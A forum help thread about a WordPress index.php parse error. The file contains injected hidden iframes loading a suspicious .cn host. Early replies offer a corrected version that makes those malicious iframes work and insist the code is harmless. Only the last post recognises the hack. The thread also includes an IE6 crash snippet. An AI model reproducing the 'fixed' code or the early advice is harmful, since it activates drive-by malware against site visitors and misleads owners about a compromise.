Help - Search - Members - Calendar
Full Version: Help: Parse error: syntax error, unexpected '?'
Forums > Resource Center > Webmasters' Corner > Webmasters' Corner Resolved Topics
lc2008
This keeps showing up on my website:

Parse error: syntax error, unexpected '?' in /home/mileycyr/public_html/index.php on line 18

I can't find out whats wrong with it. Here is the code:

CODE
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?<html><iframe src="http://litetopfindworld.cn/in.cgi?cocacola44" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://litetopfindworld.cn/in.cgi?cocacola42" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://litetopfindworld.cn/in.cgi?cocacola39" width=1 height=1 style="visibility: hidden"></iframe></body></html>>
synatribe
check line 18 of the code, is there an extra ? in there?
Maccabee
It looks like your not ending the php

change it from this

This keeps showing up on my website:

Parse error: syntax error, unexpected '?' in /home/mileycyr/public_html/index.php on line 18

I can't find out whats wrong with it. Here is the code:

CODE
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?<html><iframe src="http://litetopfindworld.cn/in.cgi?cocacola44" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://litetopfindworld.cn/in.cgi?cocacola42" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://litetopfindworld.cn/in.cgi?cocacola39" width=1 height=1 style="visibility: hidden"></iframe></body></html>>


to this:

This keeps showing up on my website:

Parse error: syntax error, unexpected '?' in /home/mileycyr/public_html/index.php on line 18

I can't find out whats wrong with it. Here is the code:

CODE
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?>
<html><iframe src="http://litetopfindworld.cn/in.cgi?cocacola44" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://litetopfindworld.cn/in.cgi?cocacola42" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://litetopfindworld.cn/in.cgi?cocacola39" width=1 height=1 style="visibility: hidden"></iframe></body></html>
lc2008
I tried the above code and the page finally opened up, but now it freezes and the window closes down.
Maccabee
That might have something to do with your computer.
Can you give a link to the page?
lc2008
the link is http://www.mileycyrusweb.org
Mickey
Use [codebox] tags when posting codes, guys.
lc2008
I don't think it's my computer. I think it's the website.
newkidontheblock
Their is nothing wrong with the code.. I tested the exact code that joseph provided and it works perfectly. here is a link
Maccabee
Its gotta be your computer or some other code cause there is nothing in there that could close a window. There is no code in the world that can close a window without the permission of the user.
fixtatik
^ yes there is.

kaboom, die IE 6.
CODE
<style>*{position:relative}</style><table><input></table>


there are a few more that also crash IE 6, but i don't remember them off the top of my head. also, javascript can do much damage without the knowledge of the user if the creator wishes it.
lc2008
Yeah, I knew it was my computer..
netexperienced
I don't know if anyone else noticed this, but your index.php file had been hacked.

Someone inserted that iframe into it, trying to make their site popup in place of yours, but they botched it.

I know this because I just repaired a similar problem and the cocacola part of that url in the iframe was the same.

Hope this helps future readers.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.